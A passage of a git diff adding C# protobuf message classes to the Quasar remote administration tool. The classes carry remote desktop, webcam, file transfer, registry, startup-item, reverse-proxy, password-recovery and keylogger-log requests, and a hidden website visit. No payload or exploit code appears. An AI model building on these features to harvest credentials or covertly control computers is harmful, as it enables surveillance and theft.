+ public class DoStartupItemAdd : IMessage
+ {
+ [ProtoMember(1)]
+ public StartupItem StartupItem { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoStartupItemRemove.cs b/Quasar.Common/Messages/DoStartupItemRemove.cs
new file mode 100644
index 000000000..44c67dfa0
--- /dev/null
+++ b/Quasar.Common/Messages/DoStartupItemRemove.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoStartupItemRemove : IMessage
+ {
+ [ProtoMember(1)]
+ public StartupItem StartupItem { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoVisitWebsite.cs b/Quasar.Common/Messages/DoVisitWebsite.cs
new file mode 100644
index 000000000..f895b872e
--- /dev/null
+++ b/Quasar.Common/Messages/DoVisitWebsite.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoVisitWebsite : IMessage
+ {
+ [ProtoMember(1)]
+ public string Url { get; set; }
+
+ [ProtoMember(2)]
+ public bool Hidden { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoWebcamStop.cs b/Quasar.Common/Messages/DoWebcamStop.cs
new file mode 100644
index 000000000..3fb791197
--- /dev/null
+++ b/Quasar.Common/Messages/DoWebcamStop.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoWebcamStop : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/FileTransferCancel.cs b/Quasar.Common/Messages/FileTransferCancel.cs
new file mode 100644
index 000000000..f4e708e80
--- /dev/null
+++ b/Quasar.Common/Messages/FileTransferCancel.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class FileTransferCancel : IMessage
+ {
+ [ProtoMember(1)]
+ public int Id { get; set; }
+
+ [ProtoMember(2)]
+ public string Reason { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/FileTransferChunk.cs b/Quasar.Common/Messages/FileTransferChunk.cs
new file mode 100644
index 000000000..4da148a83
--- /dev/null
+++ b/Quasar.Common/Messages/FileTransferChunk.cs
@@ -0,0 +1,21 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class FileTransferChunk : IMessage
+ {
+ [ProtoMember(1)]
+ public int Id { get; set; }
+
+ [ProtoMember(2)]
+ public string FilePath { get; set; }
+
+ [ProtoMember(3)]
+ public long FileSize { get; set; }
+
+ [ProtoMember(4)]
+ public FileChunk Chunk { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/FileTransferComplete.cs b/Quasar.Common/Messages/FileTransferComplete.cs
new file mode 100644
index 000000000..8e8eeb2f4
--- /dev/null
+++ b/Quasar.Common/Messages/FileTransferComplete.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class FileTransferComplete : IMessage
+ {
+ [ProtoMember(1)]
+ public int Id { get; set; }
+
+ [ProtoMember(2)]
+ public string FilePath { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/FileTransferRequest.cs b/Quasar.Common/Messages/FileTransferRequest.cs
new file mode 100644
index 000000000..3c9bfe7fa
--- /dev/null
+++ b/Quasar.Common/Messages/FileTransferRequest.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class FileTransferRequest : IMessage
+ {
+ [ProtoMember(1)]
+ public int Id { get; set; }
+
+ [ProtoMember(2)]
+ public string RemotePath { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs b/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs
new file mode 100644
index 000000000..ec55283a8
--- /dev/null
+++ b/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs
@@ -0,0 +1,21 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetChangeRegistryValueResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public RegValueData Value { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(4)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetConnections.cs b/Quasar.Common/Messages/GetConnections.cs
new file mode 100644
index 000000000..02a0affa2
--- /dev/null
+++ b/Quasar.Common/Messages/GetConnections.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetConnections : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetConnectionsResponse.cs b/Quasar.Common/Messages/GetConnectionsResponse.cs
new file mode 100644
index 000000000..681a1ef32
--- /dev/null
+++ b/Quasar.Common/Messages/GetConnectionsResponse.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetConnectionsResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public TcpConnection[] Connections { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs b/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs
new file mode 100644
index 000000000..e94f08664
--- /dev/null
+++ b/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs
@@ -0,0 +1,21 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetCreateRegistryKeyResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string ParentPath { get; set; }
+
+ [ProtoMember(2)]
+ public RegSeekerMatch Match { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(4)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs b/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs
new file mode 100644
index 000000000..7c9f1105a
--- /dev/null
+++ b/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs
@@ -0,0 +1,21 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetCreateRegistryValueResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public RegValueData Value { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(4)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs b/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs
new file mode 100644
index 000000000..27bd5f10c
--- /dev/null
+++ b/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs
@@ -0,0 +1,20 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDeleteRegistryKeyResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string ParentPath { get; set; }
+
+ [ProtoMember(2)]
+ public string KeyName { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(4)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs b/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs
new file mode 100644
index 000000000..c9404e77f
--- /dev/null
+++ b/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs
@@ -0,0 +1,20 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDeleteRegistryValueResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public string ValueName { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(4)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDesktop.cs b/Quasar.Common/Messages/GetDesktop.cs
new file mode 100644
index 000000000..815220729
--- /dev/null
+++ b/Quasar.Common/Messages/GetDesktop.cs
@@ -0,0 +1,17 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDesktop : IMessage
+ {
+ [ProtoMember(1)]
+ public bool CreateNew { get; set; }
+
+ [ProtoMember(2)]
+ public int Quality { get; set; }
+
+ [ProtoMember(3)]
+ public int DisplayIndex { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDesktopResponse.cs b/Quasar.Common/Messages/GetDesktopResponse.cs
new file mode 100644
index 000000000..ab9a62e13
--- /dev/null
+++ b/Quasar.Common/Messages/GetDesktopResponse.cs
@@ -0,0 +1,21 @@
+using ProtoBuf;
+using Quasar.Common.Video;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDesktopResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public byte[] Image { get; set; }
+
+ [ProtoMember(2)]
+ public int Quality { get; set; }
+
+ [ProtoMember(3)]
+ public int Monitor { get; set; }
+
+ [ProtoMember(4)]
+ public Resolution Resolution { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDirectory.cs b/Quasar.Common/Messages/GetDirectory.cs
new file mode 100644
index 000000000..11b83dc7b
--- /dev/null
+++ b/Quasar.Common/Messages/GetDirectory.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDirectory : IMessage
+ {
+ [ProtoMember(1)]
+ public string RemotePath { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDirectoryResponse.cs b/Quasar.Common/Messages/GetDirectoryResponse.cs
new file mode 100644
index 000000000..4cff9efae
--- /dev/null
+++ b/Quasar.Common/Messages/GetDirectoryResponse.cs
@@ -0,0 +1,15 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDirectoryResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string RemotePath { get; set; }
+
+ [ProtoMember(2)]
+ public FileSystemEntry[] Items { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetDrives.cs b/Quasar.Common/Messages/GetDrives.cs
new file mode 100644
index 000000000..da5ea1d05
--- /dev/null
+++ b/Quasar.Common/Messages/GetDrives.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDrives : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetDrivesResponse.cs b/Quasar.Common/Messages/GetDrivesResponse.cs
new file mode 100644
index 000000000..efe3ae6a9
--- /dev/null
+++ b/Quasar.Common/Messages/GetDrivesResponse.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetDrivesResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public Drive[] Drives { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs b/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs
new file mode 100644
index 000000000..c3c0f45ae
--- /dev/null
+++ b/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetKeyloggerLogsDirectory : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs b/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs
new file mode 100644
index 000000000..fa8d092ce
--- /dev/null
+++ b/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetKeyloggerLogsDirectoryResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string LogsDirectory { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetMonitors.cs b/Quasar.Common/Messages/GetMonitors.cs
new file mode 100644
index 000000000..93092e418
--- /dev/null
+++ b/Quasar.Common/Messages/GetMonitors.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetMonitors : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetMonitorsResponse.cs b/Quasar.Common/Messages/GetMonitorsResponse.cs
new file mode 100644
index 000000000..4d1a4b8b2
--- /dev/null
+++ b/Quasar.Common/Messages/GetMonitorsResponse.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetMonitorsResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public int Number { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetPasswords.cs b/Quasar.Common/Messages/GetPasswords.cs
new file mode 100644
index 000000000..4d3e4f2b3
--- /dev/null
+++ b/Quasar.Common/Messages/GetPasswords.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetPasswords : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetPasswordsResponse.cs b/Quasar.Common/Messages/GetPasswordsResponse.cs
new file mode 100644
index 000000000..bbf3e2940
--- /dev/null
+++ b/Quasar.Common/Messages/GetPasswordsResponse.cs
@@ -0,0 +1,13 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+using System.Collections.Generic;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetPasswordsResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public List RecoveredAccounts { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetProcesses.cs b/Quasar.Common/Messages/GetProcesses.cs
new file mode 100644
index 000000000..99553a2dd
--- /dev/null
+++ b/Quasar.Common/Messages/GetProcesses.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetProcesses : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetProcessesResponse.cs b/Quasar.Common/Messages/GetProcessesResponse.cs
new file mode 100644
index 000000000..c20242401
--- /dev/null
+++ b/Quasar.Common/Messages/GetProcessesResponse.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetProcessesResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public Process[] Processes { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetRegistryKeysResponse.cs b/Quasar.Common/Messages/GetRegistryKeysResponse.cs
new file mode 100644
index 000000000..485b35681
--- /dev/null
+++ b/Quasar.Common/Messages/GetRegistryKeysResponse.cs
@@ -0,0 +1,21 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetRegistryKeysResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public RegSeekerMatch[] Matches { get; set; }
+
+ [ProtoMember(2)]
+ public string RootKey { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(4)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs b/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs
new file mode 100644
index 000000000..d523c72e2
--- /dev/null
+++ b/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs
@@ -0,0 +1,23 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetRenameRegistryKeyResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string ParentPath { get; set; }
+
+ [ProtoMember(2)]
+ public string OldKeyName { get; set; }
+
+ [ProtoMember(3)]
+ public string NewKeyName { get; set; }
+
+ [ProtoMember(4)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(5)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs b/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs
new file mode 100644
index 000000000..ca6ca7c61
--- /dev/null
+++ b/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs
@@ -0,0 +1,23 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetRenameRegistryValueResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public string OldValueName { get; set; }
+
+ [ProtoMember(3)]
+ public string NewValueName { get; set; }
+
+ [ProtoMember(4)]
+ public bool IsError { get; set; }
+
+ [ProtoMember(5)]
+ public string ErrorMsg { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetStartupItems.cs b/Quasar.Common/Messages/GetStartupItems.cs
new file mode 100644
index 000000000..05b7c1eaf
--- /dev/null
+++ b/Quasar.Common/Messages/GetStartupItems.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetStartupItems : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetStartupItemsResponse.cs b/Quasar.Common/Messages/GetStartupItemsResponse.cs
new file mode 100644
index 000000000..9dd2eda7a
--- /dev/null
+++ b/Quasar.Common/Messages/GetStartupItemsResponse.cs
@@ -0,0 +1,13 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+using System.Collections.Generic;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetStartupItemsResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public List StartupItems { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/GetSystemInfo.cs b/Quasar.Common/Messages/GetSystemInfo.cs
new file mode 100644
index 000000000..34c67b750
--- /dev/null
+++ b/Quasar.Common/Messages/GetSystemInfo.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetSystemInfo : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/GetSystemInfoResponse.cs b/Quasar.Common/Messages/GetSystemInfoResponse.cs
new file mode 100644
index 000000000..ff7243b5e
--- /dev/null
+++ b/Quasar.Common/Messages/GetSystemInfoResponse.cs
@@ -0,0 +1,13 @@
+using ProtoBuf;
+using System;
+using System.Collections.Generic;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class GetSystemInfoResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public List> SystemInfos { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/IMessage.cs b/Quasar.Common/Messages/IMessage.cs
new file mode 100644
index 000000000..636aa993b
--- /dev/null
+++ b/Quasar.Common/Messages/IMessage.cs
@@ -0,0 +1,6 @@
+namespace Quasar.Common.Messages
+{
+ public interface IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/IMessageProcessor.cs b/Quasar.Common/Messages/IMessageProcessor.cs
new file mode 100644
index 000000000..61bfc77b9
--- /dev/null
+++ b/Quasar.Common/Messages/IMessageProcessor.cs
@@ -0,0 +1,31 @@
+using Quasar.Common.Networking;
+
+namespace Quasar.Common.Messages
+{
+ ///
+ /// Provides basic functionality to process messages.
+ ///
+ public interface IMessageProcessor
+ {
+ ///
+ /// Decides whether this message processor can execute the specified message.
+ ///
+ /// The message to execute.
+ /// True if the message can be executed by this message processor, otherwise false.
+ bool CanExecute(IMessage message);
+
+ ///
+ /// Decides whether this message processor can execute messages received from the sender.
+ ///
+ /// The sender of a message.
+ /// True if this message processor can execute messages from the sender, otherwise false.
+ bool CanExecuteFrom(ISender sender);
+
+ ///
+ /// Executes the received message.
+ ///
+ /// The sender of this message.
+ /// The received message.
+ void Execute(ISender sender, IMessage message);
+ }
+}
diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs
new file mode 100644
index 000000000..7982a78ab
--- /dev/null
+++ b/Quasar.Common/Messages/MessageHandler.cs
@@ -0,0 +1,66 @@
+using Quasar.Common.Networking;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace Quasar.Common.Messages
+{
+ ///
+ /// Handles registrations of s and processing of s.
+ ///
+ public static class MessageHandler
+ {
+ ///
+ /// List of registered s.
+ ///
+ private static readonly List Processors = new List();
+
+ ///
+ /// Used in lock statements to synchronize access to between threads.
+ ///
+ private static readonly object SyncLock = new object();
+
+ ///
+ /// Registers a to the available .
+ ///
+ /// The to register.
+ public static void Register(IMessageProcessor proc)
+ {
+ lock (SyncLock)
+ {
+ if (Processors.Contains(proc)) return;
+ Processors.Add(proc);
+ }
+ }
+
+ ///
+ /// Unregisters a from the available .
+ ///
+ ///
+ public static void Unregister(IMessageProcessor proc)
+ {
+ lock (SyncLock)
+ {
+ Processors.Remove(proc);
+ }
+ }
+
+ ///
+ /// Forwards the received to the appropriate s to execute it.
+ ///
+ /// The sender of the message.
+ /// The received message.
+ public static void Process(ISender sender, IMessage msg)
+ {
+ IEnumerable availableProcessors;
+ lock (SyncLock)
+ {
+ // select appropriate message processors
+ availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList();
+ // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors
+ }
+
+ foreach (var executor in availableProcessors)
+ executor.Execute(sender, msg);
+ }
+ }
+}
diff --git a/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar.Common/Messages/MessageProcessorBase.cs
new file mode 100644
index 000000000..f84cf825e
--- /dev/null
+++ b/Quasar.Common/Messages/MessageProcessorBase.cs
@@ -0,0 +1,107 @@
+using Quasar.Common.Networking;
+using System;
+using System.Threading;
+
+namespace Quasar.Common.Messages
+{
+ ///
+ /// Provides a MessageProcessor implementation that provides progress report callbacks.
+ ///
+ /// Specifies the type of the progress report value.
+ ///
+ /// Any event handlers registered with the event are invoked through a
+ /// instance chosen when the instance is constructed.
+ ///
+ public abstract class MessageProcessorBase : IMessageProcessor, IProgress
+ {
+ ///
+ /// The synchronization context chosen upon construction.
+ ///
+ protected readonly SynchronizationContext SynchronizationContext;
+
+ ///
+ /// A cached delegate used to post invocation to the synchronization context.
+ ///
+ private readonly SendOrPostCallback _invokeReportProgressHandlers;
+
+ ///
+ /// Represents the method that will handle progress updates.
+ ///
+ /// The message processor which updated the progress.
+ /// The new progress.
+ public delegate void ReportProgressEventHandler(object sender, T value);
+
+ ///
+ /// Raised for each reported progress value.
+ ///
+ ///
+ /// Handlers registered with this event will be invoked on the
+ /// chosen when the instance was constructed.
+ ///
+ public event ReportProgressEventHandler ProgressChanged;
+
+ ///
+ /// Reports a progress change.
+ ///
+ /// The value of the updated progress.
+ protected virtual void OnReport(T value)
+ {
+ // If there's no handler, don't bother going through the sync context.
+ // Inside the callback, we'll need to check again, in case
+ // an event handler is removed between now and then.
+ var handler = ProgressChanged;
+ if (handler != null)
+ {
+ SynchronizationContext.Post(_invokeReportProgressHandlers, value);
+ }
+ }
+
+ ///
+ /// Initializes the
+ ///
+ ///
+ /// If this value is false, the progress callbacks will be invoked on the ThreadPool.
+ /// Otherwise the current SynchronizationContext will be used.
+ ///
+ protected MessageProcessorBase(bool useCurrentContext)
+ {
+ _invokeReportProgressHandlers = InvokeReportProgressHandlers;
+ SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext;
+ }
+
+ ///
+ /// Invokes the progress event callbacks.
+ ///
+ /// The progress value.
+ private void InvokeReportProgressHandlers(object state)
+ {
+ var handler = ProgressChanged;
+ handler?.Invoke(this, (T)state);
+ }
+
+ ///
+ public abstract bool CanExecute(IMessage message);
+
+ ///
+ public abstract bool CanExecuteFrom(ISender sender);
+
+ ///
+ public abstract void Execute(ISender sender, IMessage message);
+
+ void IProgress.Report(T value) => OnReport(value);
+ }
+
+ ///
+ /// Holds static values for .
+ ///
+ ///
+ /// This avoids one static instance per type T.
+ ///
+ internal static class ProgressStatics
+ {
+ ///
+ /// A default synchronization context that targets the .
+ ///
+ internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext();
+ }
+}
diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs
new file mode 100644
index 000000000..cd870eae9
--- /dev/null
+++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs
@@ -0,0 +1,17 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages.ReverseProxy
+{
+ [ProtoContract]
+ public class ReverseProxyConnect : IMessage
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public string Target { get; set; }
+
+ [ProtoMember(3)]
+ public int Port { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs
new file mode 100644
index 000000000..57fa857f3
--- /dev/null
+++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs
@@ -0,0 +1,23 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages.ReverseProxy
+{
+ [ProtoContract]
+ public class ReverseProxyConnectResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public bool IsConnected { get; set; }
+
+ [ProtoMember(3)]
+ public byte[] LocalAddress { get; set; }
+
+ [ProtoMember(4)]
+ public int LocalPort { get; set; }
+
+ [ProtoMember(5)]
+ public string HostName { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs
new file mode 100644
index 000000000..5f34679c1
--- /dev/null
+++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages.ReverseProxy
+{
+ [ProtoContract]
+ public class ReverseProxyData : IMessage
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public byte[] Data { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs
new file mode 100644
index 000000000..2399e0601
--- /dev/null
+++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages.ReverseProxy
+{
+ [ProtoContract]
+ public class ReverseProxyDisconnect : IMessage
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/SetStatus.cs b/Quasar.Common/Messages/SetStatus.cs
new file mode 100644
index 000000000..b91a2f94b
--- /dev/null
+++ b/Quasar.Common/Messages/SetStatus.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class SetStatus : IMessage
+ {
+ [ProtoMember(1)]
+ public string Message { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/SetStatusFileManager.cs b/Quasar.Common/Messages/SetStatusFileManager.cs
new file mode 100644
index 000000000..ee6f5b85d
--- /dev/null
+++ b/Quasar.Common/Messages/SetStatusFileManager.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class SetStatusFileManager : IMessage
+ {
+ [ProtoMember(1)]
+ public string Message { get; set; }
+
+ [ProtoMember(2)]
+ public bool SetLastDirectorySeen { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/SetUserStatus.cs b/Quasar.Common/Messages/SetUserStatus.cs
new file mode 100644
index 000000000..798d847a7
--- /dev/null
+++ b/Quasar.Common/Messages/SetUserStatus.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class SetUserStatus : IMessage
+ {
+ [ProtoMember(1)]
+ public UserStatus Message { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/TypeRegistry.cs b/Quasar.Common/Messages/TypeRegistry.cs
new file mode 100644
index 000000000..4b1376f75
--- /dev/null
+++ b/Quasar.Common/Messages/TypeRegistry.cs
@@ -0,0 +1,49 @@
+using ProtoBuf.Meta;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace Quasar.Common.Messages
+{
+ public static class TypeRegistry
+ {
+ ///
+ /// The internal index of the message type.
+ ///
+ private static int _typeIndex;
+
+ ///
+ /// Adds a Type to the serializer so a message can be properly serialized.
+ ///
+ /// The parent type, i.e.: IMessage
+ /// Type to be added
+ public static void AddTypeToSerializer(Type parent, Type type)
+ {
+ if (type == null || parent == null)
+ throw new ArgumentNullException();
+
+ bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type);
+
+ if (!isAlreadyAdded)
